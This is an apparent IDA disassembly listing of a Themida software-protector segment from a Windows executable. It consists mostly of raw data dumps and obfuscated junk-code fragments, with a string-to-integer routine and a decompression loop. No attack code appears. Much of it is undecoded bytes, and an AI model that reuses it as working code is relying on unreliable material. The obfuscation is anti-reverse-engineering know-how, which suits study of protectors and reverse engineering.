		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 4D796C5Ch, 867437FFh, 14ADB531h, 8B0F07D3h, 6, 23D19501h
		dd 22E907D3h, 29000009h, 0D31BB18Dh, 2F88307h, 0E4850Fh
		dd 8B600000h, 0B861D6h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 60FAC355h
		dd 68F0Fh, 0B5310000h, 7D30C0Dh, 0B61F38Bh, 4B840FC0h
		dd 89000000h, 0D33495B5h, 1858907h, 8307D30Ch, 840F01F8h
		dd 0FFFFFF53h, 68CA8166h, 9589506Eh, 7D31A49h, 3F8835Bh
		dd 0FEF5840Fh, 0B529FFFFh, 7D32F75h, 0B8h, 9D9D8B00h, 8D07D32Bh
		dd 5B89E0BDh, 0FF2EB200h, 4268BBE7h, 0BD8D662Ch, 7D345AAh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1FC35646h
		dd 8259D8Bh, 9D2B07D3h,	7D30D2Dh, 13AE9h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 744FB07Fh, 8CA8019Eh, 16C99D8Bh, 0F88307D3h,	16850F03h
		dd 89000000h, 0D31AEDBDh, 3EBD8D07h, 0B307D347h, 0F5E977h
		dd 0F3800000h, 5F8837Eh, 47850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 4B3E0BC3h
		dd 7646D1B5h, 0E93BDA80h, 7DDh,	0CE9h, 9E4FFA00h, 69AE62CAh
		dd 85FA1500h, 68E0F67h,	89000000h, 0D303399Dh, 6F88307h
		dd 19850Fh, 0D18B0000h,	0BD8DDC8Ah, 7D34936h, 87C28166h
		dd 36C28055h, 82E9h, 8381B600h,	850F07F8h, 26h,	34BD958Bh
		dd 890F07D3h, 6, 24358589h, 0BD8D07D3h,	7D32139h, 0E9DEBF0Fh
		dd 126h, 2450EA81h, 0F88368DFh,	48850F0Ah, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0E688C353h, 0D2B3D5C9h, 5E96032h, 0F8000000h, 2DE7B292h
		dd 2E99589h, 8D6107D3h,	0D34B2EBDh, 9E907h, 0BF0F0000h
		dd 458D89DAh, 5707D327h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 17h, 16C35545h, 0BBFACD4Bh, 7E21127h, 433D14B9h
		dd 0D2B70F21h, 0F003F83h, 9584h, 30D18B00h, 52006A0Fh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0E3815F3Eh, 2437B070h, 3155B589h, 0C9D107D3h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 3DC35141h, 0AE28166h
		dd 13E9F1h, 4B180000h, 0B1F2947Fh, 4948A1B0h, 6C4F38E6h
		dd 0F6829602h, 66524725h, 0E95AD78Bh, 0FFFFFF84h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 52C35040h, 6699179Eh
		dd 665FD78Bh, 0BD89D68Bh, 7D34D2Ah, 8E8h, 425B7300h, 0CADEB662h
		dd 4791BAA2h, 8D5A3984h, 0D32A758Dh, 5D9D0107h,	0FF07D31Dh
		dd 0D300FDB5h, 79B53107h, 8D07D30Ah, 0DB21D985h, 0BD8D5007h
		dd 7D3556Bh, 6E108D8Dh,	0BCB807D3h, 2B54831Ah, 0D00730CFh
		dd 754947C8h, 0C1B58DF8h, 8D07D36Dh, 0D36E288Dh, 0F3CF2B07h
		dd 0B8C933A4h, 0
aTfgM		db 0Bh,'tFM/',7,0
		db 74h
		dd 9195FF06h, 8B07D303h, 0D34D2AB5h, 0D9858D07h, 0FF07DB21h
		dd 47858DD0h, 0FF07D343h, 9985C7D0h, 107D324h, 8B000000h
		dd 0D320C5A5h, 99B58B07h, 8B07D307h, 0D30B39ADh, 0C2C03307h
		dd 0C381000Ch, 4F415EADh, 8387BB66h, 1789BD83h,	0F0007D3h
		dd 2A84h, 16840F00h, 0E9000000h, 11h, 0BA0BFCFEh, 0C63A4243h
		dd 0A8FCD598h, 579A50A1h, 0FFF78A5Dh, 0D300A595h, 799D8B07h
		dd 8307D332h, 0D31BA1BDh, 850F0007h, 1C0h, 0AE9h, 0B182B300h
		dd 5334CBA0h, 83D912BEh, 0D33255BDh, 850F0107h,	1A4h, 0BD8341B6h
		dd 7D31251h, 95840F00h,	0E9000001h, 0Ah, 0A8B7ECC8h, 0A1C429D2h
		dd 0BD834C94h, 7D34D7Dh, 79840F00h, 0F9000001h,	21D9858Dh
		dd 11E907DBh, 0BD000000h, 0E51A27FFh, 7112863Ch, 112B5DCFh
		dd 6A935929h, 4D2AB58Bh, 6A07D3h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 9B07B1C3h, 0F7367CFh
		dd 0C28166D9h, 0D0FF4F7Ah, 2731958Bh, 85C607D3h, 7D318D1h
		dd 50006A54h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 30095506h, 0A6F66527h, 0F528CB0h, 68Ah
		dd 2D950B00h, 5A07D307h, 0CC329368h, 0F0BA66D7h, 240481CCh
		dd 27828C61h, 23819531h, 0B5FF07D3h, 7D30165h, 8DD98B66h
		dd 0D33A3785h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 1C0BEE8Fh, 14359D2Bh
		dd 0D0FF07D3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0E1C35343h, 5258F58h, 0F40B8617h, 199D8B45h, 5007D32Dh
		dd 7AD0BA66h, 6ADF8B5Bh, 11E900h, 6C2E0000h, 0E22247D3h
		dd 0D194B4E5h, 2B7EC397h, 6A175A38h, 2870FFFh, 0B7000000h
		dd 6AD0FFB8h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0DC45C351h, 89B589E4h,	0F07D31Dh
		dd 0A89h, 61606000h, 13DB589h, 0FF6107D3h, 0D30009B5h
		dd 0DF8B6607h, 0FD95FFh, 9D2907D3h, 7D32369h, 4D2AB58Bh
		dd 0F78007D3h, 0BA50C33Ah, 36778A40h, 7DB58B5Bh, 8B07D334h
		dd 0FF60BDFh, 3084h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0E2816678h, 9589F559h
		dd 7D32BF5h, 290006C6h,	0D32B119Dh, 32858907h, 0E907D34Dh
		dd 10h,	3AB7BE9Eh, 2CD7B519h, 7BDA482h,	0C88C9817h, 0F00F883h
		dd 3D884h, 95958B00h, 0B807D326h, 0
		dd 1A39958Bh, 0F88307D3h, 0C9840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0B49EC356h, 0A17877h, 0DE8B8D1Dh, 2E19D8Bh, 0F88307D3h
		dd 5C850F02h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 8998C357h, 0D302B18Dh
		dd 0E5958B07h, 8D07D31Ch, 0D343AD85h, 8D8B6007h, 7D33479h
		dd 0CA1B589h, 2D6107D3h, 929h, 23046CBBh, 0FD8A9047h, 0D38B5350h
		dd 958B905Bh, 7D330FDh,	2D9D89C3h, 0B807D30Dh, 0
		dd 0A09B589h, 1EE907D3h, 6A000003h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0F992C352h
		dd 2781BD29h, 950307D3h, 7D320C1h, 1B8h, 0B0BB6600h, 0B2BD8DACh
		dd 0E907D343h, 8, 0EA2DA14Fh, 79A163C3h, 0F5E9h, 0E1B50900h
		dd 8307D320h, 850F02F8h, 42h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 5C35747h, 73223E50h, 2B2D9589h
		dd 0BD8D07D3h, 7D345AAh, 0E1249EBAh, 0B0E93Ah, 8D0F0000h
		dd 6, 1AE19D89h, 0F88307D3h, 51850F03h,	8B000000h, 0D30E4995h
		dd 3EBD8D07h, 6A07D347h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0DFDAC353h,	560A58F6h
		dd 0BE8DF8Bh, 0D9000000h, 21410E5Ch, 4A32DD5Dh,	85893CD0h
		dd 7D30655h, 50E95Ah, 8A0F0000h, 0
		dd 0F05F883h, 4185h, 0BB666000h, 9D8B6C36h, 7D302F9h, 14FE961h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0FB44FDC3h, 536CAE8Fh, 0BD898DB6h, 7D3015Dh
		dd 2BC99589h, 6A5707D3h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0BFFDC357h,	8AEC0D4Fh
		dd 62BBB961h, 0B945BB9Ah, 21433D14h, 6880Fh, 9D890000h
		dd 7D330D1h, 0F003F83h,	0DC84h,	3890F00h, 80000000h, 0F308CEFh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 85C35040h
		dd 0AA2891C6h, 0B9E1E59h, 4D6DBBECh, 14E80380h,	0A0000000h
		dd 0E70A6BA9h, 9E0E0335h, 0C4D39B7Bh, 431613B3h, 9C002BEh
		dd 0D30BF185h, 958B5A07h, 7D32E61h, 6AC9D1h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0A7212BC3h
		dd 94D76D4Dh, 507CE4EAh, 8B98589h, 8B5A07D3h, 6A47D8h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 51DC00C3h, 4F1B4D5Dh, 41E93F29h, 6AFFFFFFh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 6FC7C351h, 81BD9A76h, 4DC161C3h, 5F88308h, 0B7850Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 3C903BC3h, 0B5AB483h, 65958B48h, 6607D327h
		dd 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 9D2317C3h, 7D30C85h, 0F04C1F6h, 1C85h, 81958B00h
		dd 0B807D327h, 0
		dd 19D99D09h, 4AE907D3h, 8B000000h, 0D3239595h,	79858B07h
		dd 6A07D30Dh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 9325C350h, 83B7CDB6h, 8B667C41h
		dd 74BA66DAh, 78E0FE6h,	53000000h, 23D7F3BAh, 0E0FF5B2Ah
		dd 0E0446EBBh, 0FDBD8365h, 7D300h, 0C4850Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0C9B6A7C3h, 5C253485h, 29A1BD89h, 0BB6607D3h, 8950202Ah
		dd 8D892404h, 7D31EB5h,	18D185C6h, 6A4507D3h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0CB51C357h, 82D3D977h, 682EEC91h, 0C9D6D915h, 5E9h
		dd 7DF52700h, 3481EA75h, 0A4B07C24h, 0D08B6647h, 165B5FFh
		dd 858D07D3h, 7D33A37h,	0D58D8B60h, 8B07D314h, 0D32CD995h
		dd 12E96107h, 98000000h, 0A0228DF2h, 0E99C91D2h, 1E5DE860h
		dd 226970FAh, 0FD0FFE4h, 688h, 0FDB58900h, 8907D31Fh, 0D300FD85h
		dd 58D98B07h, 0BD83A0B6h, 7D34D81h, 24840F00h, 60000000h
		dd 20558589h, 816607D3h, 61F58FC3h, 9B5FFh, 816607D3h
		dd 0FFA585D3h, 0D300FD95h, 9D958B07h, 8307D31Ch, 850F00F8h
		dd 0F8h, 83D1B70Fh, 0D30829BDh,	840F0007h, 6Ch,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0ADC35343h, 9F81BDA6h
		dd 0B4CA813Eh, 8B4F7E75h, 0D326C99Dh, 29B5FF07h, 0E807D308h
		dd 14h,	0BC7F6321h, 0A67417D3h,	0F2806756h, 66AF2F85h
		dd 7235040h, 5850BB66h,	1B85Bh,	0E6BA0000h, 0E921C85Eh
		dd 267h, 19D8529h, 9D2B07D3h, 7D32EA9h,	9B5FFh,	6A07D3h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 869433C3h, 1D9D8B3Ah, 0FF07D306h, 0D30009B5h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0E7F531F0h, 588C8866h, 0F1850950h, 0FF07D309h, 0D300FDB5h
		dd 0EE907h, 840E0000h, 85E1BCF5h, 2CF424DCh, 1C18B909h
		dd 1E2E9h, 16DA8000h, 12E95Fh, 725C0000h, 0D6F8C4BAh, 0E33DB2C0h
		dd 0E0C76369h, 68B3ABA9h, 2AFDBD83h, 0F0007D3h,	0CA85h
		dd 7EEB8000h, 18D185C6h, 6A4D07D3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0D26BC351h
		dd 0E6FF763Ah, 0BD89E606h, 7D30321h, 0AD554D68h, 5BBB66DCh
		dd 24348139h, 789823E5h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 18h, 0FCC35141h, 5A2E42EFh, 3201BD89h, 13E907D3h
		dd 6A000000h, 5E8C46B7h, 447F7BB2h, 887ECE7Dh, 0F38389B4h
		dd 0B5FF9C19h, 7D300B9h, 2B919D8Bh, 858D07D3h, 7D33A37h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 4CC35141h
		dd 0AEBEB752h, 0D404E12Dh, 89D0FF98h, 0D32969B5h, 0FD858907h
		dd 6607D32Ah, 0B8F50FBBh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 3FC35646h
		dd 0F2B6AE79h, 80E05C2Bh, 0BD89C5DEh, 7D34D2Ah,	1D0BF0Fh
		dd 0D301459Dh, 0FC00B07h, 4A84h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0FF18AE5h
		dd 88E9D0B7h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 77F9C357h, 5D24B3A7h
		dd 0FFDFBF0Fh, 0D300FDB5h, 25958B07h, 8D07D31Ah, 0DB21D985h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0F5DFAF9Eh, 2BC57325h, 0D307A99Dh, 7E99007h
		dd 0DC000000h, 0A0D524ABh, 0E85012CFh, 5, 9163B314h, 860F60A3h
		dd 0
		dd 5B616160h, 69BD8990h, 5007D32Eh, 6BBD8D56h, 8D07D355h
		dd 0D378CB8Dh, 23BCB807h, 0CF2B7483h, 0C8D00730h, 0F8754947h
		dd 0BD83585Eh, 7D30829h, 8B067400h, 0D316B98Dh,	0B8C93307h
		dd 0
		dd 840FC00Bh, 0A8h, 2F4DBD83h, 740007D3h, 9195FF06h, 0B807D303h
		dd 0
		dd 975C00Bh, 4D32BD83h,	740107D3h, 32BD8309h, 207D34Dh
		dd 0B58B0E75h, 7D34D2Ah, 21D9858Dh, 0D0FF07DBh,	1789BD83h
		dd 740007D3h, 0A595FF06h, 8D07D300h, 0D3434785h, 83D0FF07h
		dd 0D31549BDh, 2F750207h, 20C5A58Bh, 858B07D3h,	7D30829h
		dd 0C7240489h, 0D3249985h, 107h, 2EB58B00h, 8B07D34Dh
		dd 0D30B39ADh, 1B807h, 0CC20000h, 0C700EB00h, 0D3249985h
		dd 107h, 0C5A58B00h, 8B07D320h,	0D30799B5h, 39AD8B07h
		dd 3307D30Bh, 0CC2C0h, 1789BD83h, 740007D3h, 0A5BD830Fh
		dd 7D300h, 95FF0674h, 7D300A5h,	4D2AB58Bh, 60C307D3h, 5D853352h
		dd 5E07D31Ch, 569283BEh, 0BA666162h, 0BAF6A8h, 29000000h
		dd 0D3338DB5h
		db 7
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_5D1091
; ---------------------------------------------------------------------------


loc_5D108F:				; CODE XREF: Themida_:005D1094j
		inc	eax
		inc	edi


loc_5D1091:				; CODE XREF: Themida_:005D108Dj
		cmp	byte ptr [edi],	0
		jnz	short loc_5D108F
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5D10C0
; ---------------------------------------------------------------------------


loc_5D109D:				; CODE XREF: Themida_:005D10C2j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_5D10B5
; ---------------------------------------------------------------------------


loc_5D10B2:				; CODE XREF: Themida_:005D10B8j
		mul	ebx
		dec	esi


loc_5D10B5:				; CODE XREF: Themida_:005D10B0j
		cmp	esi, 0
		ja	short loc_5D10B2
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_5D10C0:				; CODE XREF: Themida_:005D109Bj
		or	eax, eax
		jnz	short loc_5D109D
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dw 0B589h
		dd 7D3293Dh, 8B5FE680h,	1ADE9C1h, 8B600000h, 8B242474h
		dd 0FC28247Ch, 68A80B2h, 47078846h, 2BBh, 0FD20200h, 585h
		dd 46168A00h, 830FD212h, 0FFFFFFE2h, 850FD202h,	5, 1246168Ah
		dd 6A830FD2h, 33000000h, 0FD202C0h, 585h, 46168A00h, 830FD212h
		dd 12Ah, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0D202C013h, 5850Fh, 168A0000h, 13D21246h
		dd 0FD202C0h, 585h, 46168A00h, 0C013D212h, 6840Fh, 2B570000h
		dd 5F078AF8h, 0BB470788h, 2, 0FFFF70E9h, 1B8FFh, 0D2020000h
		dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h
		dd 820FD212h, 0FFFFFFDEh, 1BBC32Bh, 0F000000h, 3485h, 1B900h
		dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h
		dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 2BF78B56h, 5EA4F3F5h
		dd 0FFFF08E9h, 0E0C148FFh, 46068A08h, 1B9E88Bh,	2000000h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C913h,	5850Fh
		dd 168A0000h, 0FD21246h, 0FFFFDE82h, 7D003DFFh,	830F0000h
		dd 22h,	5003Dh,	0E820F00h, 41000000h, 2BF78B56h, 5EA4F3F0h
		dd 0FFFEB4E9h, 7FF883FFh, 3870Fh, 0C1830000h, 0F78B5602h
		dd 0A4F3F02Bh, 0FE9BE95Eh, 68AFFFFh, 0C0C93346h, 840F01E8h
		dd 17h,	8B02D183h, 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh, 76E90000h
		dd 2BFFFFFEh, 8928247Ch, 611C247Ch, 0BA0008C2h,	929h, 79A02E9h
		dd 6AD0EC00h, 2	dup(6AECEA00h),	2 dup(0)
		dd 77002300h, 77001B02h, 20602h, 200h, 100h, 200h, 8996A900h
		dd 0F8h, 4 dup(0)
		dd 5D7F7700h, 5D8A2900h, 5D6CFA00h, 5DD14F00h, 5D7FB500h
		dd 5DD81800h, 5DA5CE00h, 5D3DE800h, 5D2A9F00h, 5D6AF800h
		dd 5D638800h, 5D30E900h, 5DA3AE00h, 5D242300h, 5D570100h
		dd 5D3C4300h, 5D2D8B00h, 5D504800h, 5D54FB00h, 5D95C300h
		dd 5D8C8000h, 5D4FCA00h, 5D255D00h, 5DA6E100h, 5D8A4700h
		dd 5D24D800h, 5D952900h, 5D7B4800h, 5DCAD300h, 5DAAC000h
		dd 5D528400h, 5D274C00h, 5D8EB900h, 5D62D500h, 5D8DAE00h
		dd 5D78B700h, 5D460200h, 5DA00E00h, 5DCC9B00h, 5D796A00h
		dd 5D930500h, 5DAE0D00h, 5D731E00h, 5DB31B00h, 5D4FFC00h
		dd 5D886600h, 5D60E600h, 5D1A7400h, 5D91E000h, 5D4E0400h
		dd 5DAFB300h, 5D891D00h, 5D86BB00h, 5DAC6C00h, 5DD88800h
		dd 5D175300h, 5DBB3C00h, 5D5FEA00h, 5D160400h, 5DC88600h
		dd 5D88B100h, 5D9A3F00h, 5D191C00h, 5D678300h, 5D5B1C00h
		dd 5D856000h, 5D700A00h, 5D987700h, 5DC4F700h, 5DA65100h
		dd 5DA8D200h, 5DD05D00h, 5D559E00h, 5D784800h, 5D4EC700h
		dd 5D3DBE00h, 5D645D00h, 5D8A5400h, 5DA03A00h, 5D221900h
		dd 5DCD5900h, 5D3F1F00h, 5DAA1B00h, 5DBE3A00h, 5D451A00h
		dd 5D5AF700h, 5D77EC00h, 5DCE3500h, 5D604000h, 5DCFB200h
		dd 5D731300h, 5D5FA400h, 5D448F00h, 5D26B000h, 5DBDFD00h
		dd 5DAA4A00h, 5D7F7D00h, 5D645700h, 5D53BB00h, 5DB50000h
		dd 5DB88100h, 5D37B900h, 5DC72200h, 5DB20800h, 5D3DA500h
		dd 5D998400h, 5D3DB300h, 5DD55700h, 5D541F00h, 5D74D000h
		dd 5D3DCB00h, 5DCE6500h, 5D4FC100h, 5D804800h, 5D998E00h
		dd 5D9B9200h, 5D3B1A00h, 5DD65B00h, 5DAD3500h, 5DAE8F00h
		dd 5D544500h, 5D236800h, 5D6F6E00h, 5D1C3E00h, 5D350800h
		dd 5D882A00h, 5D8FF600h, 5D845C00h, 5D3C0D00h, 5D3A8C00h
		dd 5D966000h, 5DD31400h, 5DA80E00h, 5D971A00h, 5D52A200h
		dd 5D31DE00h, 5D176C00h, 5D812100h, 5D72E700h, 5DAF0200h
		dd 5D68E900h, 5D684700h, 5D2C1A00h, 5D5BF000h, 5DB3A400h
		dd 5D7F5700h, 5D5E7F00h, 5D367C00h, 5D9E5600h, 5D976800h
		dd 5DB1CB00h, 5DCC5D00h, 5D490D00h, 5D314A00h, 5D8B0800h
		dd 5D548C00h, 5D994200h, 5DA20000h, 5DB22600h, 5DC54300h
		dd 5D687700h, 5D38AE00h, 5D46D200h, 5D997C00h, 5D591600h
		dd 5D434600h, 5D2CD900h, 0FC9C6000h, 0E8h, 0EF815F00h
		dd 7D37ED4h, 0C781C78Bh, 7D37BECh, 752C473Bh, 8913EB02h
		dd 0A7B92C47h, 0EB000000h, 8F440105h, 0C90B4940h, 748BF775h
		dd 0DE8B2424h, 1B9F003h, 33000000h, 0B10FF0C0h,	0F775304Fh
; ---------------------------------------------------------------------------


loc_5D15BC:				; CODE XREF: Themida_:loc_5D31F7j
					; Themida_:loc_5D3D21j	...
		lodsb
		jmp	loc_5D374D
; ---------------------------------------------------------------------------


loc_5D15C2:				; CODE XREF: Themida_:005D3493j
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5D1F0B
; ---------------------------------------------------------------------------
		db 0B1h
		dd 6E9C031h, 9787E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D15E9:				; CODE XREF: Themida_:005D7D24j
		mov	edx, 0A274907h
		xor	esi, edx
		pop	edx
		and	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		shr	ecx, 2
		jmp	loc_5D3BED
; ---------------------------------------------------------------------------
		dd 24048B66h, 112DE9h, 1CBD5500h, 2902D340h, 0D8015DE8h
		dd 401CB951h, 63E902D3h, 8B00008Ch, 0C481240Ch,	4, 835EF301h
		dd 8FE904C3h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D1637:				; CODE XREF: Themida_:005D68FEj
		mov	ebx, 7864212Bh
		sub	ecx, ebx
		pop	ebx
		jmp	loc_5DB813
; ---------------------------------------------------------------------------
		dd 0FBEF814Fh, 810A2DD3h, 27568CEEh, 2D13E90Fh,	33590000h
		dd 2C31242Ch, 899EE924h, 15D0000h, 0EC815EF0h, 4, 0BE243489h
		dd 4, 348BF029h, 4C48324h, 5C240487h, 53243C89h, 3E1C91BBh
		dd 245C2918h, 815A5B04h, 3E1C91C2h, 0FC90B18h, 0AB6A84h
		dd 0E2895200h, 0EEE95051h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D16A7:				; CODE XREF: Themida_:005D3EF6j
		pop	edi
		xor	ebp, 595C70E1h
		xor	ebp, 634E34F0h
		jmp	loc_5D3246
; ---------------------------------------------------------------------------
aPsc		db 'P>',0
		dw 0C000h
		dd 0C18004E1h, 0EC1803Ch, 496BE9h, 0BE565D00h, 1DBA45D7h
		dd 4017E946h, 88520000h, 885350C2h, 0DE8852D3h,	2DAEE9h
		dd 0DBF74300h, 7F34C381h, 14E95BFCh
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D16F7:				; CODE XREF: Themida_:005D5A2Fj
		add	ebx, eax
		add	dword ptr [ebx], 1
		pop	ebx
		pop	eax
		jmp	loc_5DB848
; ---------------------------------------------------------------------------
		dw 3FB9h
		dd 41194876h, 0F706E1C1h, 52D1F7D1h, 9568CEBAh,	5CE94A1Dh
		dd 5600008Fh, 3579BDBEh, 9300E90Dh, 0BF570000h,	4, 5D7C181h
		dd 0F90174D2h, 5D7E981h, 835F74D2h, 0C8704E9h, 1C895C24h
		dd 26824h, 0C0E90000h, 0F600004Fh, 0E99C241Ch, 0A081h
; ---------------------------------------------------------------------------


loc_5D175C:				; CODE XREF: Themida_:005D4771j
		add	ecx, esi
		pop	esi
		xor	ecx, 0E40175FDh
		and	eax, ecx
		jmp	loc_5D658B
; ---------------------------------------------------------------------------
		dd offset aSoftwareIllusi+4
		dd 242C8900h, 0AF685056h, 584DBE73h, 0BA1EE9h, 2B95100h
		dd 0E9000000h, 44CEh, 0BA52D829h, 66530281h, 0A4E9D001h
		dd 540000ACh, 4BF575Dh,	81000000h, 26EAFC5h, 81FD017Ah
		dd 26EAFEDh, 7AD8E97Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D17B6:				; CODE XREF: Themida_:005D677Ej
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, eax
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5DBC05
; ---------------------------------------------------------------------------
		db 89h
		dd 220AE9F5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D17E2:				; CODE XREF: Themida_:005D7A71j
		add	ebx, 4
		jmp	loc_5D876B
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 83000000h, 0E0E904C3h, 5100005Dh, 0A3F1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D1801:				; CODE XREF: Themida_:005D9F7Dj
		mov	eax, 2C6C6397h
		push	ecx
		jmp	loc_5D8F29
; ---------------------------------------------------------------------------
aTsI		db 'Tѩ',0
		align 2


loc_5D1812:				; CODE XREF: Themida_:005DA3CFj
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 4
		jmp	loc_5D2E9F
; ---------------------------------------------------------------------------
		dd 8A58C788h, 88022454h, 6602247Ch, 68241C8Bh, 68BEh, 89240C89h
		dd 4C181E1h, 83000000h,	0C8702C1h, 6E6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D184E:				; CODE XREF: Themida_:005DACE9j
		add	esp, 4
		push	0BD7h
		mov	[esp], edx
		mov	edx, 48FD2087h
		add	edx, 53AF71E1h
		jmp	loc_5D30F1
; ---------------------------------------------------------------------------


loc_5D1869:				; CODE XREF: Themida_:005DA26Dj
		pop	edi
		add	edi, 77DB06A6h
		add	edi, edx
		jmp	loc_5D2CB0
; ---------------------------------------------------------------------------


loc_5D1877:				; CODE XREF: Themida_:005D3D97j
		push	20B7h
		mov	[esp], ebx
		mov	bl, 9Ch
		add	al, bl
		mov	ebx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_5D72F0
; ---------------------------------------------------------------------------
		dd 0B8BEF81h, 0C7815AE3h, 6FA81BC0h, 0EF81CF01h, 6FA81BC0h
		dd 0A942E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D18AD:				; CODE XREF: Themida_:005DA1E6j
		not	ebx
		xor	ebx, 92BCA21Bh
		add	edx, ebx
		pop	ebx
		and	ebx, edx
		pop	edx
		jmp	loc_5D7A76
; ---------------------------------------------------------------------------
		dd 4EC8152h, 89000000h,	9FB7241Ch, 93E1E9h, 4C28100h, 81000000h
		dd 4C2h, 24148700h, 0FC3305Ch, 8B66C0B6h, 54522414h, 9BB535Ah
		dd 8125946Dh, 946D0DF3h, 5BDA0125h, 8704EA83h, 248B2414h
		dd 24048924h, 5FE4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D190D:				; CODE XREF: Themida_:005D7EAFj
		mov	[esp], edx
		push	ebx
		sub	esp, 4
		jmp	loc_5DAF91
; ---------------------------------------------------------------------------
		dd 8324048Bh, 348904ECh, 68E68924h, 1880h, 6636E9h, 0BA525A00h
